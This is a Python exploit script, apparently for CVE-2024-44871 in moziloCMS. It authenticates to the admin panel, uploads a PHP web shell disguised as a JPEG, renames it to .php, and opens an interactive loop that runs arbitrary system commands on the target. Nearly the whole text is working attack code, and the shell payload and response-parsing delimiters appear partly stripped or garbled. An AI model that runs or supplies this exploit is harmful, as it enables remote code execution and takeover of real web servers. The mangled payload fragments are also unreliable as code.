import requests import argparse import time import uuid import urllib file_name = str(uuid.uuid4()).split("-")[0] def login(session, target): headers = { "Host": f"{target}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "X-Requested-With": "XMLHttpRequest", "Referer": f"{target}/admin/index.php?nojs=true&action=files&multi=true", "Origin": f"{target}", } data = { "username": f"{username}", "password": f"{password}", "login": "Login" } endpoint = "/admin/index.php" url = f"{target}{endpoint}" response = session.post(url=url, data=data, headers=headers) if "moziloCMS Admin - Home" in response.content.decode(): return True return False def upload_shell(session, target, payload): files = {"files[]": [f"{file_name}.jpg", payload.encode(), "image/jpeg"]} data = { "curent_dir": "Willkommen", "chancefiles": "true", "action": "files" } headers = { "Host": f"{target}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "X-Requested-With": "XMLHttpRequest", "Referer": f"{target}/admin/index.php?nojs=true&action=files&multi=true", "Origin": f"{target}", } endpoint = "/admin/index.php" url = f"{target}{endpoint}" response = session.post(url=url, data=data, files=files, headers=headers) if '"delete_url"' in response.content.decode(): return True return False def rename_file(session, target): data = { "action": "files", "newfile": f"{file_name}.php", "orgfile": f"{file_name}.jpg", "curent_dir": "Willkommen", "changeart": "file_rename" } headers = { "Host": f"{target}", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "X-Requested-With": "XMLHttpRequest", "Referer": f"{target}/admin/index.php?nojs=true&action=files&multi=true", "Origin": f"{target}", } endpoint = "/admin/index.php" url = f"{target}{endpoint}" response = session.post(url=url, data=data, headers=headers) print(f"REPSONSE CODE: {response.status_code}") if '"success' in response.content.decode(): return True return False def send_commands(session, target, endpoint): response = session.get(f"{target}{endpoint}") return response.content.decode().split("
")[1].split("
")[0] if __name__ == "__main__": parser = argparse.ArgumentParser(prog='CVE-2024-44871', description='uploads webshell', epilog='PLEASE USE RESPONSIABLY') parser.add_argument("-p", help="enter password", required=True) parser.add_argument("-u", help="enter username", required=True) parser.add_argument("-t", help="target url with http/https but not ending with /", required=True) args = parser.parse_args() username = args.u password = args.p target = args.t payload = '"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo ""; die; }?>' session = requests.Session() if login(session, target): time.sleep(1) if upload_shell(session, target, payload): time.sleep(1) if rename_file(session, target): print("shell has been activated\n") file_dir = f"/kategorien/Willkommen/dateien/{file_name}.php?cmd=" while True: command = "" try: command = str(input("# ")) if command == "": break except: break system_response = send_commands(session, target, file_dir + urllib.parse.quote_plus(command)) print(system_response) else: print("[-] Failed to rename file to php") else: print("[-] Failed to upload shell") else: print("[-] Login failed") session.close()